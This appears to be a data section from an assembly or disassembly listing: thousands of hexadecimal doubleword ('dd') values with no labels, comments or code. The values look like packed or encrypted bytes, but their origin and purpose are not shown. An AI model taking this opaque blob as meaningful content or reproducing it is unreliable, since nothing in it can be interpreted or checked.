dd 88120AADh, 0D600CB60h, 0B34EA102h, 1FBB8C03h, 964449Dh
dd 0EC020F6Bh, 982A2184h, 28531EE3h, 92AA19h, 0ECD182A6h
dd 86B25506h, 202EB79h, 0F234BC2Dh, 110738Dh, 95F464Eh
dd 0AE082444h, 9EB01D4Ch, 0F7002F6Ch, 8C63A5C0h, 0A4612494h
dd 48FB12E8h, 0A0B10DA0h, 66112EBEh, 0AF827B9h, 9C07292Bh
dd 7E5B6580h, 797A23h, 2E124858h, 0BBC71CA6h, 4195910Fh
dd 3215EEF2h, 0C49C9465h, 6820F180h, 98AD1EFDh, 99218069h
dd 7D3DFA6Ah, 804A00B8h, 0F02BBC2Ch, 0F8442076h, 7BD52F00h
dd 93B9AD95h, 203E00C9h, 0AE23E405h, 0A53CD1E7h, 841F2484h
dd 0E5279840h, 5352079Bh, 0D35B4FDEh, 0DA909E81h, 0F48E469h
dd 77F70350h, 89768059h, 0D9E4D146h, 0C32E2E08h, 0F49A5010h
dd 9EBBF788h, 0AC3AB82Ch, 843E0C54h, 148A9922h, 88B98128h
dd 0B8B228DAh, 1154E852h, 495491D0h, 4DFC9DF0h, 46C88B00h
dd 89243AC5h, 0ECA34975h, 0CF9584C0h, 0A13199BBh, 0F0CBD8E1h
dd 4FDB421h, 0B99B6458h, 0AD7C6074h, 0BEE89D32h, 6D4D39h
dd 1E2B5C06h, 227FBF7h, 0F2FC5494h, 78EEBA51h, 87290E0Eh
dd 22E4941Dh, 0BAC325BCh, 0A1289890h, 8C057F1Eh, 4878C2CBh
dd 2D0A48Ch, 43B303Dh, 0C4CE0B71h, 9ECA75Ch, 843DDC42h
dd 8F4053DCh, 2078336Eh, 0EA72BB00h, 70D47669h, 0BF400239h
dd 0F2E23D45h, 280E2CECh, 0B50F6807h, 4FA8D4C4h, 0D0656C44h
dd 5289A144h, 0B8A7FCD8h, 1C540074h, 4B509B48h, 9E0480BEh
dd 0DBCF62Eh, 0E37B78C0h, 0C7F0A232h, 87C38900h, 547138EAh
dd 49203400h, 2521E76Ah, 0D0195F95h, 2273E077h, 3CCE8880h
dd 3008BE9h, 1A080C7Dh, 0CF09D01Ch, 6A3E8437h, 0B00815Ch
dd 0FC24869Bh, 9CB1587Dh, 0F851DDB2h, 0EE8EE000h, 0E2E979h
dd 0B428F2F3h, 207DF0D9h, 0B930C40Bh, 7C78AACFh, 7099A564h
dd 0A286D839h, 773D293Dh, 95948271h, 7B7AEA93h, 0B9C30B6Ch
dd 8E803464h, 9926A176h, 0A63EF901h, 0CC91103Ah, 4054AE1Fh
dd 11A1BA59h, 8CA83491h, 8376CB55h, 170FC09h, 0FAE498ADh
dd 61BF000Fh, 0DF31CF2Bh, 29022A57h, 0FFDDBD96h, 4640CE19h
dd 119C57A2h, 0F714F4A0h, 99CE84CAh, 0C625B91h, 0AC9A2022h
dd 6102BA8Eh, 794648C8h, 0C33924F6h, 42F0B234h, 681DD557h
dd 16448B5Eh, 1488E53Ch, 26CE618h, 38B01482h, 0A640D3BCh
dd 5E09E842h, 41A991C8h, 6066286Ch, 102CC200h, 6442D9E7h
dd 0B1DD02FCh, 3C2469C0h, 90CBF4h, 33796578h, 5B6D2EECh
dd 0C638437Ch, 0D0A0C9FDh, 1B24019Ch, 279FBB94h, 0B7846832h
dd 502757A8h, 114F1B60h, 23F73909h, 0C193F400h, 4748B201h
dd 0F83ED42Ah, 82EA6A3Bh, 6BF724A4h, 95FCC97Fh, 0F2797710h
dd 1BB998A8h, 0BFC9A600h, 7C54ACABh, 929D0C69h, 29AE2361h
dd 5872E3h, 0CC4CEE0Ah, 1C148B60h, 879FA43Ch, 0C061BEA0h
dd 0EE5791BFh, 44C9B0BCh, 0F130040h, 9D8BB3E6h, 3F3FD1C4h
dd 8F2880E9h, 0FAD3F608h, 676F4F22h, 0DC38795Ch, 4309B574h
dd 0E8900F37h, 213E24h, 445CEB75h, 0D0AFE119h, 57132307h
dd 0D9C7B1DFh, 28B82FF1h, 0C8013022h, 0D4E25AB5h, 915430CCh
dd 0E8680F89h, 5F76F0C1h, 5088220Ah, 0F91347B8h, 9C201F32h
dd 68BF6Eh, 608B1016h, 0B8D20361h, 0BC0B0400h, 0D451923Fh
dd 6F980993h, 800BC166h, 0EE226501h, 0BC72D285h, 7E33D904h
dd 6CDC8460h, 1A184492h, 7CA47252h, 8139846Fh, 3A43F60Fh
dd 191E118Ch, 2103B619h, 78E9AA3Dh, 73CCA894h, 0E080B677h
dd 7FDA0C5h, 46026E0Fh, 44010BB4h, 0F3A5007Ch, 0CC6F2D24h
dd 0F14C49C8h, 95CE0E10h
dd 0C8C1776Dh, 0B215F7AEh, 0E6DB0084h, 0FC30203Dh, 0A6FE17D3h
dd 30485C34h, 0A198AED8h, 0B509A078h, 8187BFE6h, 91DEFFBCh
dd 0B1896C47h, 10C8F838h, 0D4751759h, 306499AAh, 7FE49520h
dd 201E212Fh, 4B8539A0h, 0B2DB0092h, 6C109E5Ch, 67760E8Ah
dd 7AE8D40Bh, 0EA5C1C37h, 797D38h, 710EDFAEh, 83526B6Fh
dd 0C9294F04h, 78E49991h, 87DF2827h, 0B3661758h, 0FBC49880h
dd 1E0C7600h, 298FBB99h, 0C47D0026h, 7109AD49h, 58B9CEF7h
dd 8BFC0B15h, 26C8C726h, 0D65A0194h, 842395D8h, 1E471A79h
dd 8C5CE8D1h, 0A2446414h, 5C4CD0h, 25D9ED74h, 3C4BAE6h
dd 0FEE02FDh, 2AA89508h, 767A2E4Eh, 0EC0215F0h, 75790E5Ah
dd 0F4CC4E80h, 7AFCA8F1h, 0FAAE0EBBh, 8B65D50Bh, 25D8B385h
dd 24DC4535h, 0A86C157Ch, 9012D121h, 74C62020h, 76E70037h
dd 0D0C8338Ah, 0F0994421h, 0FA569200h, 1696B045h, 3022A4Ch
dd 7B87D2C8h, 94D6F2CFh, 619380B9h, 0FE26F880h, 3017C12Eh
dd 9D99C401h, 242D3530h, 0D18EE488h, 0D9432223h, 0B9C6E2F2h
dd 58C2E19Ch, 74AF59B4h, 81B882A4h, 504429h, 0A1CC2DC9h
dd 0D735FBE3h, 817DC177h, 48A2AD00h, 3BA33460h, 41D89479h
dd 2A84DF37h, 77DD828h, 4265C2F0h, 261320CCh, 6C03B4DFh
dd 0C7CAE595h, 270AB9C6h, 0FCE4438h, 0BBAEC090h, 0A07B0926h
dd 5D0D0BEBh, 92C42476h, 5244495Ch, 6CE600E0h, 26D2F52Ah
dd 0B413139Ch, 0B0489119h, 113E8E05h, 549AA980h, 64EEE461h
dd 38606D2Eh, 5A5C10ADh, 0C32D00D1h, 0FCCAAE24h, 0B8B33504h
dd 6C88F812h, 15F304E9h, 0C82AD1A7h, 39000778h, 0B9229612h
dd 27067Fh, 9EF7C997h, 149A16D8h, 0B4400C00h, 0DF218CFAh
dd 0AC3099BBh, 1C18C944h, 8B2F1176h, 4CDCE7h, 0A6EFE456h
dd 85EEE1C5h, 42AA6617h, 3B2748D8h, 5F80EDA1h, 720271F1h
dd 0C49C7D25h, 59E6E50Ch, 670C0080h, 9966D906h, 0AD4AA5BDh
dd 18882012h, 6CDF0008h, 87D1288Bh, 0B902D2C0h, 0A8AB3C0Fh
dd 0E68CB9B2h, 3C912EA7h, 2820D2A2h, 7C47581h, 5B38C1B4h
dd 0A834CB84h, 710FE200h, 6A82961Fh, 93349880h, 98E2074Ch
dd 82DC5A6Dh, 0EC9B0711h, 0A3A3482h, 70000C53h, 4C6BF60Ch
dd 0B4924866h, 7B285807h, 704D3B42h, 0C9791119h, 0AE88383Ch
dd 0C8C78445h, 843491E8h, 64E47970h, 9B250067h, 0FAAAA31Bh
dd 0D00E7DB9h, 0A027B4D6h, 9C10EA94h, 66790CC2h, 53690D28h
dd 0F3C82600h, 32A22F94h, 67760020h, 0D88D4B50h, 364EDE64h
dd 1831C069h, 6880086Ch, 61E6AD43h, 0A9F624EEh, 9D254F0Eh
dd 0D47780AFh, 0A1F4D22Ch, 26126CA8h, 28A6CC71h, 84E4BF08h
dd 0F5370A1Ah, 51E80748h, 639103D6h, 1D9B00B4h, 0DABB5699h
dd 3ECC279Ah, 284D18B6h, 70C84A5Ch, 2BD60737h, 70A8385Ch
dd 0DAE01E54h, 79167896h, 98ADAC90h, 64E2007Fh, 0DD9C6DB1h
dd 1A00F648h, 5D68D951h, 1385119Fh, 0D1B169A5h, 1122BF84h
dd 402E771Ah, 2064ADE0h, 16249584h, 0C787305Fh, 108BDE87h
dd 1F73360Ch, 2CC67D13h, 51D502F4h, 585C03ECh, 10C90112h
dd 8CC73C62h, 7B43003Ah, 0A3143C54h, 16B8D053h, 0A4C9A8ECh
dd 28662BD2h, 9E9B990Bh, 2C088E80h, 0B4FDC8CEh, 4774080Ch
dd 6401594h, 0D1F85382h, 3B280004h, 296BF00Bh, 0EB09C636h
dd 232C9E25h, 0A210374Ch, 0BBDCE8B7h, 77084E6h, 1B46758h
dd 2987341Eh, 0A8416A8h, 0E44D5DC4h, 21446C54h, 29500394h
dd 4CE9CD5Ah, 0F459DFAAh, 0B4713703h, 1E392AE1h, 0EE3C90B0h
dd 5B74DAh, 54713FE7h, 0F84CCC08h, 41DC5E54h, 0A2B0C354h
dd 0BC2FAD20h, 64CA40B8h, 8C00028Eh, 6A2CACC4h, 5F900Bh
dd 0F5E3DF60h, 791A3CB5h, 0AFC7C601h, 12AE9454h, 18ECE1CAh
dd 0F00C7871h, 0B81CB629h, 0CE808B00h, 0B87C01CBh, 2F8E320Eh
dd 400D4F1Bh, 904A55A1h, 0BF9C048h, 0F9089138h, 14AF8307h
dd 29A30DF0h, 89583296h, 1866AC50h, 0F09BF7Ch, 887507FCh
dd 4CA7A8C4h, 0C8F4022Ch, 915CB97Eh, 13008844h, 45E8D9BCh
dd 14AB051Ah, 0ACBB9CACh, 77184077h, 8F0D0C05h, 0D0F0C6E3h
dd 0CB290126h, 32E7F121h, 3483339h, 716BC5E4h, 4D7DE047h
dd 0B0780E4Fh, 473F20ADh, 466C732Fh, 0E58585Fh, 0C9C83F0Ah
dd 1F4D0354h, 80CB7622h, 4B8D6C70h, 41C89D52h, 622C8098h
dd 623087D0h, 0DAD958E1h, 0E9BC60FEh, 72012A64h, 512CA238h
dd 96919028h, 8B0C88h, 25E352Eh, 71859DDCh, 5300A772h
dd 0F0506C68h, 209E2629h, 640A8AE7h, 2454C2DCh, 0CAA2043Ah
dd 0D0A01604h, 0B9060C8Eh, 9F110C76h, 0D090F728h, 0E8C9F62Ch
dd 0D062124Eh, 299C10CEh, 0BB92A8C2h, 720F003Fh, 6A0F9862h
dd 2175A5D3h, 279D1671h, 6B005062h, 0C4A2123Eh, 997C6AC3h
dd 4476C213h, 7F607C90h, 18D7725h, 19D633Ch, 2C0F0989h
dd 659A8080h, 0AE69D1h, 0FD2734CDh, 0B54263Eh, 292AAA00h
dd 947BE07h, 54125076h, 0BBEC063Fh, 0D82443CAh, 4C34405Bh
dd 0CE27C580h, 207A5B56h, 5021E248h, 0C370ABFEh, 0FE6C5900h
dd 0A5809FB4h, 80FD586Fh, 1D36517h, 66382938h, 0BE5180CAh
dd 0B3217362h, 89AC74A0h, 347915h, 13D2F9E5h, 139A4BD9h
dd 39E32E8h, 4644A0BFh, 1937898h, 0A13E1C0Ah, 0A600B996h
dd 40632204h, 0EE20C1E8h, 8A98C0h, 125D9572h, 0D2BEC3F0h
dd 45A4428h, 7FDD9D00h, 2CA2CEA7h, 942A0030h, 7B1B2959h
dd 1C07A6D1h, 2397DE04h, 0E843D310h, 19CA6034h, 8E8D6677h
dd 220C13Eh, 431375FCh, 4DC4A0A5h, 3D3B9B5Ch, 995AACBh
dd 0FC52B861h, 4180B09Ah, 0AEA19E15h, 22C5DF05h, 6800230Fh
dd 383919E0h, 0D345809Fh, 0DF108404h, 344A21BEh, 0AE11B0h
dd 4427C012h, 19820B5h, 0DD0F31FCh, 0E4F4BBD8h, 6D138526h
dd 0E8D23B89h, 427CC691h, 7D11096Bh, 918483A5h, 302105F0h
dd 0F707390h, 88D3C3D4h, 0A8776F4h, 96F04744h, 3C482091h
dd 0EFE87F95h, 0A968A600h, 0ED458005h, 1BB9034Bh, 0C7DEF4FCh
dd 0A480D0BAh, 0E6B34971h, 81AC764Ch, 4A9B98AEh, 5CB84EC8h
dd 3532D895h, 9C406471h, 13023474h, 91A1270h, 84C8A9DAh
dd 18CA5564h, 0E72B8400h, 0B17FAC0Bh, 7C003679h, 0FF1EADE2h
dd 7C711688h, 0B68DB8C4h, 0C4D824FCh, 8094E812h, 83B6DBBCh
dd 6476DAh, 0F2DEB00Dh, 75E29722h, 0B53C9EFEh, 2AACD82Ah
dd 9122A007h, 7CE0A25Ch, 9EA78344h, 77B1D507h, 28C287Ah
dd 9D1B7112h, 40146662h, 0C2413C23h, 0B80D6420h, 97154E40h
dd 93708074h, 710E2A34h, 20C7FAD1h, 0A95FAC9Ah, 54FB5DEEh
dd 40DD9185h, 0B8774994h, 0C5F0E3CCh, 5FC39200h, 248C615Ch
dd 0EC514848h, 47F5390Eh, 0A1283560h, 0E200FA53h, 0A3A0A598h
dd 74504D82h, 0B9E12CBh, 642809E3h, 0F0956480h, 42E85ACCh
dd 299D03Ch, 0D8B8613Eh, 4E207607h, 0B50C7080h, 1800B20Ah
dd 40D7628h, 0FF7C9D2h, 0BB1FD145h, 2C13CC8Eh, 0A0862764h
dd 98D76A14h, 0D0664C2Ch, 44105FC4h, 0D4B57976h, 97F0B8F9h
dd 41C1EED7h, 3964C10Ch, 409124E0h, 0A59BD040h, 0FE970036h
dd 9EA26E16h, 58AECE6h, 548376C8h, 1504FCDEh, 99B94004h
dd 44A525h, 2A52CE77h, 77D2919h, 81401C96h, 73D5006h, 20D72E32h
dd 0E313E080h, 0D931C3CCh, 6BE6193Ch, 121C5F3Eh, 0FE0A4BDh
dd 1AA32804h, 0B0C37120h, 76AFA91Eh, 8B80C038h, 0B83CEF79h
dd 63115807h
dd 5270DFA4h, 52D804E4h, 7E079478h, 60A708C1h, 6F5F702Bh
dd 7CBBEC94h, 0F31D010Fh, 1371C0BDh, 1EFB996Bh, 91C0D93h
dd 0F05A392Dh, 2190AE0Fh, 9BCC01B8h, 2AD1E8BDh, 1900982Dh
dd 0BB50C763h, 0AD0106D0h, 0DE48FC75h, 684157BEh, 8078115Ah
dd 0C0F8BA84h, 22FCC8D9h, 1400B6B8h, 0D4E8A2F9h, 4B52082h
dd 5F0DAD85h, 14E0A274h, 16CC2EE1h, 3831A170h, 387C9CC3h
dd 47002494h, 95A82C4Dh, 9005263Fh, 28D12343h, 805D084h
dd 14043E09h, 2CE2A207h, 16E9E01h, 80CF880Fh, 4002B560h
dd 24BDF0FDh, 415C7129h, 3E2052A2h, 1C9EB470h, 3942006Fh
dd 30548197h, 0BB580514h, 1E080079h, 0ECCC7B28h, 0B18C1373h
dd 69488155h, 83502287h, 8028C0F3h, 0B236562h, 6FA63BEAh
dd 813CFCA0h, 6B60C380h, 27892F81h, 86954CDh, 21843885h
dd 0D01D9B96h, 4523FDCCh, 0CBA59107h, 0D87224A9h, 0BF744077h
dd 1150270h, 2F1D6637h, 20651600h, 0F0170139h, 4312CA6Fh
dd 0F80606Bh, 88292724h, 0F164C640h, 81013AEDh, 0CC7E9882h
dd 0B0E0EB59h, 3E722848h, 0E562D90Ch, 3F3891Ah, 0F96C74A4h
dd 2E8815A3h, 0C40CE129h, 0C0C86DE6h, 0CD381387h, 60384A9Bh
dd 9D8040D0h, 220908CCh, 70DE4C27h, 4452447Ch, 2E29F960h
dd 0E7ACD3Bh, 0A4933D1Ah, 73368840h, 0E6E43EB7h, 5F9D3Fh
dd 0B3317201h, 0F4177111h, 90CC996Eh, 24DC2077h, 43D49134h
dd 1ED0634Bh, 3E059697h, 0AFC6956Dh, 900288D5h, 0C1371658h
dd 961012E4h, 9F06A446h, 60895213h, 20088068h, 689358DFh
dd 8C400F80h, 2E25361Eh, 0BC3CC816h, 0ABA20727h, 0D940C077h
dd 0E4B65027h, 0A0F7212Ch, 5FD0222Ah, 3A0E7C71h, 746D817Dh
dd 303A4ADBh, 0BCD82A00h, 92A64C00h, 1AE19C47h, 0F21C7385h
dd 234B00B2h, 0BB258E9Fh, 0EA58ADD5h, 0F8800230h, 7EEF2181h
dd 0A76C04ECh, 0BB110016h, 90CCC50h, 620983BEh, 263E899h
dd 54040BAAh, 87344021h, 0BB0DB2D1h, 1A1E0CACh, 0F100ED21h
dd 92870E3Fh, 0E68465A4h, 9E695CB8h, 214DF212h, 0E496ACC0h
dd 0F07BD0F8h, 40C0415Ch, 88A00508h, 98003A47h, 75B8DE6Bh
dd 0B139EE79h, 97582E24h, 0DF84201Eh, 0E002450h, 3FCFCA21h
dd 26F9C74Ch, 11402F45h, 0C0A89074h, 416D697Bh, 0BEB0020h
dd 940DB059h, 25008D3Ch, 0DA862CA3h, 13A24EACh, 30A12643h
dd 0C3741A20h, 6744A8B4h, 2EC9F721h, 0F6013C20h, 0BC91B6h
dd 0E29FA177h, 0EF057151h, 86016B9Dh, 0D008A80Eh, 0DC229C58h
dd 8B077CBCh, 92404F32h, 2CA496C1h, 0C45C8110h, 1FF491FDh
dd 0AFA1C8C9h, 7FB774A0h, 0F96F2000h, 76810BB2h, 89C524B9h
dd 1913404h, 7DB4AFE8h, 50103E40h, 136AA1E8h, 180EFDCh
dd 5950FB6h, 8535DE52h, 1949BC76h, 1B2CB4A0h, 41A7A2F7h
dd 0D4566782h, 11124342h, 86C0C9Ah, 3BE1C947h, 0B143C160h
dd 0AE981E60h, 28930025h, 8022F7Eh, 0B4053D00h, 21B94F29h
dd 0CC8CFEDh, 5C427B80h, 10B5CF9Ch, 13E0CC88h, 0F116B551h
dd 11807D0h, 649FA0F6h, 27020EDCh, 5E12206Dh, 4AC044EEh
dd 0BFC9015h, 0B709AC30h, 98286AFAh, 0B8C0EEA0h, 6ED60035h
dd 75768A3Fh, 0A0A45CF7h, 6D9D0B05h, 60E08E1Dh, 3869880Ch
dd 0A8D77B00h, 0C0F26CCBh, 7654F0A4h, 6E461D83h, 1D878469h
dd 0DDC8F4E5h, 77C96503h, 83756F36h, 732DB815h, 0CA1C0B1Eh
dd 286878D2h, 901CE52h, 0CFFD0189h, 57C4F3F6h, 0A86F00D1h
dd 0FC239EF7h, 0BD229D85h, 34AE5818h, 0C7B86FC0h, 650001B4h
dd 29C023D6h, 140D4B5Dh, 0B438DAE5h, 31807539h, 7707EAA5h
dd 0B8A680A0h, 8216BF7Ah, 0E800A389h, 0FF1EE227h, 1B1EA95h
dd 0D1E84EE3h, 443F9D20h, 0BE8C408h, 18D17614h, 268D8580h
dd 0D3E873h, 455247A2h, 75AE7E3Eh, 250074B8h, 0C84999CDh
dd 0F8200944h, 6F9E0395h, 80A78898h, 0E56DBB88h, 0F8974B4Ah
dd 86096180h, 37F20BCCh, 0E01875F3h, 5609D0FDh, 10783A34h
dd 6E96DCh, 875A899h, 469D1089h, 377208A0h, 0C4B228F8h
dd 73FBA100h, 1636127Dh, 75F4A804h, 7EE000BEh, 985FB765h
dd 50B49B55h, 0FA92E343h, 9F42A8h, 0B74E1AFh, 4DF11829h
dd 0B639992Fh, 600E9826h, 4BBB70Bh, 40C4BC54h, 24AF3082h
dd 8064BC77h, 2AA624B8h, 55FB383Ch, 98918980h, 84358DBAh
dd 61296202h, 0C628E7E5h, 82A30154h, 7398FD4Ah, 5990603Dh
dd 75094577h, 912849F1h, 4C795EB4h, 756469C0h, 8E23C81h
dd 212AA5E0h, 700A84Fh, 63A26BEh, 0BD6C5F75h, 0DA9EB490h
dd 0A54EF225h, 40820F4Ch, 4000F607h, 7B63FC8Dh, 8F5E660Fh
dd 0F01BC0B6h, 0EEC15D32h, 91544ED1h, 4D0504h, 0F510B80h
dd 0AF49E6E9h, 99299680h, 0A1001E8Bh, 0DB2175E0h, 0FD9E3760h
dd 882E0h, 9DDD3BEh, 2F383C2Bh, 320E96F2h, 3A84673h, 0C09D8BFEh
dd 42023Ah, 703D716Dh, 574A8428h, 0FE4B5F79h, 81023048h
dd 0A45D8E2Dh, 7223CC8Ch, 21603D00h, 95E5336Eh, 6C28009Dh
dd 0A5784B1Ah, 4C903271h, 3D3FE091h, 0B7BF858Ch, 7C8268F5h
dd 0F0CC177h, 187473D1h, 51437CCAh, 4DE0CC8Fh, 1483FE0Eh
dd 24AF0780h, 0BC951277h, 0BE200A04h, 57900ACh, 0BDB93C56h
dd 29229117h, 3108888h, 1C467DD3h, 0DCE06A9Bh, 703CFC26h
dd 170E93C4h, 336800D0h, 0F004734Fh, 8E8A01Fh, 93C38836h
dd 9430199Fh, 53F820h, 0DD359679h, 745F59ADh, 0BE184550h
dd 5814BFh, 401594E0h, 56D90C6Fh, 614FC400h, 21C870ECh
dd 32E11299h, 7814A039h, 0C2450202h, 0C490019Eh, 24370758h
dd 10C3FE4Dh, 30D9216Bh, 8A094B00h, 7E648B8h, 60630096h
dd 8C7D320h, 0EC1F8702h, 33094414h, 2EA400EFh, 1D0A9371h
dd 4AC1E49Bh, 6070EC60h, 7DE03DC5h, 91DE960Bh, 147924h
dd 0D319A38Ch, 28F27593h, 1708102h, 80D0A083h, 5EF12CEEh
dd 4A634F6Dh, 812C8088h, 0F7DA961Fh, 0E8B97031h, 6CC05496h
dd 0E6083497h, 11260509h, 0A4E548h, 0E006C5B4h, 0F35C71B4h
dd 4B751698h, 887148A2h, 2D00AB01h, 49A7CBAh, 75CD69EAh
dd 39840261h, 411175AFh, 0E0FA18E4h, 45C3300Fh, 0A0B64176h
dd 11943178h, 4E07F009h, 91CD08F7h, 59C92981h, 77023D0h
dd 31D0DDC5h, 76D7233Fh, 715F9125h, 0CE00B062h, 8129BFE4h
dd 0BD28790Eh, 449C8CEAh, 0FE0D5040h, 72AF003Eh, 53BDBCC1h
dd 7B00F741h, 0BA99201Ah, 0D286A21Dh, 0AE90CCE0h, 6071D0C0h
dd 0B1210BCDh, 0A9E681D8h, 0CC165B12h, 0B57F406Bh, 4DA49195h
dd 0C9F5F8EBh, 0FB1B0073h, 9698A540h, 0B61AABECh, 7482B53Bh
dd 9169228h, 0A8814920h, 0F081237Eh, 5B0105D4h, 1F9FDDE1h
dd 841CB8Fh, 0E4742737h, 307D4899h, 5580B700h, 95C3F86Ch
dd 0D9340084h, 65990E77h, 4B2703C8h, 3D6090EEh, 0DBDA00E7h
dd 6F91C285h, 0C54C3478h, 54206AB8h, 16891408h, 8328E444h
dd 77483C00h, 0A0EC114Ah, 4B7409C6h, 600F436Bh, 91A3138h
dd 0AE1ED091h, 0F4D65142h, 10F96Ah, 0A972A698h, 107F0F5Dh
dd 38F1040Bh, 0C6580003h, 9BF768h, 85FFEDC0h, 49EE445Dh
dd 0B23AA601h, 0E09811F9h, 0D830B061h, 1ABE0005h, 13692621h
dd 9B03D943h, 0EB2BEF8Ah, 0F36198E2h, 54496E7h, 0C02C1349h
dd 0E1212305h, 9940C4Ch, 80791005h, 0AB5391D8h, 4422EDD2h
dd 46A10D80h, 0CE072B5Bh, 0CB29B8ECh, 68B8D924h, 0D2873502h
dd 0A8C418BBh
dd 1E421496h, 219A60D7h, 9ED7377h, 0DC9BC625h, 280268CCh
dd 0B9D40F66h, 0C004E3FDh, 12693Ah, 35858B71h, 0D1EC926h
dd 91EA811Eh, 0E798E5D8h, 84B175h, 8A8C5D25h, 0A0041311h
dd 2203D91Dh, 5C804CACh, 0B2B509FAh, 0BF823000h, 1E1C63A7h
dd 0F0842806h, 0A8C8AB5Ch, 9493D8CBh, 5810AF18h, 43E29EFCh
dd 0B04B2709h, 76520292h, 0C89855BDh, 0DC07A1CBh, 0E45BEE1h
dd 0D4014770h, 0E86F0006h, 389E21FAh, 150092A1h, 0DAAAD527h
dd 0B347B88h, 31C408C2h, 0C800F473h, 25E443D2h, 9129097Dh
dd 2C201C54h, 0FB238E95h, 9AAE000h, 0E9A4FC1Eh, 0C4750BEBh
dd 38C49C52h, 0C91B2B02h, 59ABA0F3h, 0D9403D64h, 17317180h
dd 1D370FB3h, 812783ECh, 0CA9B58A5h, 0E790B4ADh, 12B86F52h
dd 50E27611h, 51DB9B00h, 0A4E94740h, 7F28A500h, 0CC7DA1Dh
dd 78FC34h, 9B589629h, 0F721CB80h, 9CB1A277h, 7F24513Bh
dd 0F34FC420h, 0F9B1005Eh, 48EB1184h, 94007360h, 4002763Dh
dd 1C92AB71h, 646F80A0h, 77094024h, 720FE55Ah, 0A29164Bh
dd 700E083Fh, 0C1324C5Fh, 8180E115h, 4973EF48h, 7F707ABCh
dd 0B9176000h, 1D9ADE3Dh, 4304B48Dh, 0CB892544h, 9387D9Ch
dd 4082A1F7h, 0BCA00730h, 98AD40A8h, 5B00EF6Bh, 1CB95754h
dd 0BF0161h, 0DA1FEE2h, 7B2B4A05h, 41726F00h, 14D9AC90h
dd 0D076002Eh, 7AE4A03Eh, 0CF58E010h, 40551627h, 206B4804h
dd 9D812640h, 74909E75h, 24EFD39h, 535C7134h, 8430563Bh
dd 907D10BFh, 0A999C5B8h, 9155A027h, 8224918h, 403ABB02h
dd 0E4482624h, 8513BE06h, 60C87409h, 17DA8165h, 1A425654h
dd 7C543172h, 101D8CE0h, 91AF0011h, 2DFA93F6h, 0C6019F34h
dd 9E27D7C8h, 3478DB1Eh, 404202C0h, 24B678E9h, 926FFF80h
dd 0A07061h, 0AB4CDD4Ah, 44E39AA5h, 5369BC00h, 2803CD3Fh
dd 28BB7539h, 0AC88DE31h, 0E2F103C8h, 0C5EF7E6Eh, 0ACCC9EDBh
dd 0EEA08E90h, 0C3D460A6h, 39F059h, 49A16DE0h, 0CA10A27Ch
dd 189F0770h, 86165C30h, 51B47215h, 0E71E18B8h, 7D72B59h
dd 0A84DF37Bh, 0A88C355Bh, 0D22980C0h, 990BD72h, 706D231Eh
dd 92C394C0h, 741A20A0h, 0E0BF4A6h, 0C828FEF1h, 0BAE434h
dd 69FA9A4Dh, 78939DE6h, 0A2B5EC01h, 7AC2043h, 0C75E1C9h
dd 2828207Eh, 5C13F8F1h, 0D60041FFh, 70948B14h, 8FF23A13h
dd 663F5E81h, 6396DE84h, 7D0E01A0h, 37A86115h, 5B34D4C2h
dd 0EEE911E0h, 6D293B0Fh, 1AD02759h, 4AAE0451h, 28482500h
dd 2446404h, 0E6C51708h, 3FA55480h, 0AD753AD9h, 0E57CFD09h
dd 0DA00D0F2h, 4DDFA265h, 7D4964h, 4F7C725Ch, 9D18BC03h
dd 0F200E6E8h, 0F146120Bh, 0EC3BC9h, 890DE74Dh, 0C513A176h
dd 375AEB7Fh, 16BAC48h, 0CD86720Fh, 40DAC076h, 474574Ch
dd 0EF7D6D93h, 84891C82h, 82295C4h, 0D89455h, 0B3147DE9h
dd 6769F627h, 0C0BCC200h, 60A1EED6h, 4F6F0430h, 0ABB9F4C6h
dd 6A6CFC21h, 96004069h, 18C83C92h, 5E12C201h, 0C0D25C47h
dd 0AE282060h, 0D000176h, 29D34B7Bh, 135B9594h, 57D23FBh
dd 0AD3F88F2h, 0EEAD2550h, 0E0B40040h, 815ED80Fh, 0DD000860h
dd 659D91CCh, 0DE49E7E9h, 88E61038h, 1D00B8EDh, 48C6FBD4h
dd 8F4C0C43h, 0B15780C8h, 86BC6Dh, 0D0DD6429h, 74D3BEECh
dd 3E009872h, 37017071h, 0B443CACBh, 174A42BCh, 86770720h
dd 0C8BE4FDEh, 0B4137000h, 0CA62FE5h, 853BEB00h, 8290FD19h
dd 7641B660h, 0BB0574h, 87093926h, 31421755h, 6CE894A3h
dd 0B746DAh, 0A0FE71ACh, 0BB7C0E7Bh, 8600B0EAh, 0E137672h
dd 0C483660Ah, 9200A81Fh, 0A37D1763h, 0B4A42545h, 1C1D08D9h
dd 78B49822h, 62BB1289h, 0CB5C0121h, 3AEA5DA4h, 44ACD848h
dd 95E24019h, 1E4D59Fh, 35E0CEDBh, 355DB6C3h, 0CCA5C014h
dd 10304F51h, 9B04FB7Ch, 2271D817h, 0E7DC4405h, 0DCA07085h
dd 90011875h, 0DE8738EFh, 6E21BD22h, 3AE86030h, 0D48A1E44h
dd 451C0900h, 0D28EEBFDh, 0B4E8200Fh, 0A80C259Ah, 4DD07C5Eh
dd 879D869h, 0B621433Eh, 0FD956D85h, 0CF08412h, 7548A04Bh
dd 0B32A28B4h, 8C86C8h, 0A811CB18h, 0FEE762FBh, 67914F0Dh
dd 0AC30D010h, 0E3BD29A4h, 2A310BACh, 0AAC05h, 56833CD0h
dd 0E0C84DEEh, 0E0724930h, 0D10BB40Fh, 6B7CC0F3h, 52EA71Ch
dd 91FB0F78h, 0E7A8B041h, 0C1EA6D31h, 0B832BFC3h, 0EC000F3Bh
dd 82D924B2h, 8C03A5B9h, 812C6E4Ah, 3389B628h, 43311CE5h
dd 0DDD9EDD8h, 0AB500701h, 456DD4CAh, 0D248D3CBh, 904E698h
dd 0EF8549A2h, 17BC645Ch, 8985C53h, 0E8B0086h, 0B97DB7B8h
dd 0B300612Dh, 0D5FF63B6h, 0AE1D91F4h, 0DE88A260h, 76854920h
dd 0F022C74Ah, 72E94F5Dh, 61660732h, 0A5C402Fh, 0F06D2D9Bh
dd 0CC1100E0h, 0D0546251h, 2848748Bh, 0C8012F24h, 41C7A518h
dd 0A8202B4Fh, 5A4DABh, 7433944Ah, 0DAD1701Ch, 687F5702h
dd 82C4CD73h, 624CD4CAh, 964667Ch, 0F0F89E25h, 7E3E6C79h
dd 9CA8CC2Eh, 944CF311h, 20D140DEh, 0EB2B1FEDh, 83306D08h
dd 13910856h, 0E4270F89h, 364B00C0h, 2B5D692Eh, 0F500D012h
dd 0B8E89CC2h, 0F0D9876Ah, 8F290553h, 0C46EDEADh, 0A088039Eh
